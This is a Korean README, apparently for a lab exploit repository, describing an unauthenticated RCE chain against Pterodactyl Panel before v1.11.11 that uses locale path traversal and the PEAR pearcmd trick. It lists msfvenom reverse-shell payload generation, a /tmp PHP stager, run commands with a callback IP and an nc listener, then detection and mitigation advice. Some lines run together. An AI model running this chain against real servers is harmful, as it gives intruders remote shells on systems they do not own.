
이 저장소에는 Pterodactyl htb 머신용 RCE 익스플로잇이 포함되어 있습니다.
승인된 테스트 및 방어 학습 전용입니다.
이 저장소는 대상(target)을 소유했거나 테스트할*명시적 서면 권한을 보유한 통제된 랩 환경(예: CTF/HTB 스타일 환경)을 위해 만들어졌습니다.
이 저장소에는 v1.11.11 이전 버전의 Pterodactyl Panel에 영향을 미치는 실제 취약점에 대한 교육용 Python PoC(pterodactyl_rce.py)가 포함되어 있습니다. 취약한 구성에서 인증되지 않은 공격자는 locale 및 namespace 매개변수의 부적절한 처리로 인해 /locales/locale.json 엔드포인트를 통해 **원격 코드 실행(RCE)**을 달성할 수 있습니다.
이 PoC 변형은 PHP-PEAR가 설치된 환경을 대상으로 하며, 은퇴한 Hack The Box 머신 Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl 을 기준으로 구축/검증되었습니다. 동일한 조건이 충족되는 다른 랩 환경에서도 작동할 수 있습니다.
24c82b0…)대략적으로 PoC는 다음 단계를 연쇄적으로 수행합니다:
msfvenom으로 Linux x64 리버스 TCP ELF 페이로드를 생성합니다./locales/locale.json 처리를 악용하여 PHP "스테이저(stager)"를 /tmp에 작성합니다 (PEAR pearcmd config-create 트릭 사용)./tmp로 다운로드이 스크립트는 "업로드" 단계에서 curl 대신 raw HTTP 클라이언트를 사용합니다. 일부 도구는 문자를 정규화하거나 인코딩하여 조작된 요청을 깨뜨릴 수 있기 때문입니다.
참고: 이 README는 의도적으로 방어/교육 수준에 머물러 있습니다. 테스트가 허가된 환경에서만 이 코드를 사용하세요.
$PATH에서 msfvenom 사용 가능 (Metasploit Framework)nc (netcat)스크립트는 현재 소스 코드에서 패널 HTB 호스트 이름을 사용합니다:
host = "panel.pterodactyl.htb"
추가로 PHP-PEAR에 대한 하드코딩된 경로는 ../../../../../usr/share/php/PEAR로 설정되어 있습니다.
Pterodactyl 박스 외부에서 테스트하는 경우 로컬 구성에 맞게 이 경로를 조정해야 합니다.
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: 랩 서버에서 접근 가능한 콜백 IP<LPORT>: 리버스 셸을 수신할 포트자체 리스너를 실행하려는 경우:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
그런 다음 다른 터미널에서:
nc -lvnp <LPORT>
python3 pterodactyl_rce.py 10.10.14.225 5555
일반적인 흐름:
shell_ab12cd34 같은 무작위 파일 이름):8080에서 일회성 HTTP 서버를 시작합니다/tmp/<random>.php에 PHP 스테이저를 생성합니다
/tmp/ 폴더에 있는 파일은 건드리지 않습니다.
해결 방법:
/tmp/<name>.php 아티팩트를 수동으로 제거하세요. 그렇지 않으면 잠시 기다렸다가 다시 시도하세요./locales/locale.json 엔드포인트를 차단할 수는 있지만, 지역화 기능이 깨질 수 있습니다.다음과 같은 의심스러운 요청을 찾아보세요:
locale= 경로 순회(traversal) 시퀀스가 포함된 /locales/locale.json 요청namespace= 값 (예상치 못한 이름, 긴 문자열, 특이한 문자)/tmp/에 예상치 못한 파일의 갑작스러운 생성웹 로그를 다음 항목과 연관 지어 분석하세요:
www / PHP-FPM 사용자에 의해 생성된 새 프로세스curl/wget 사용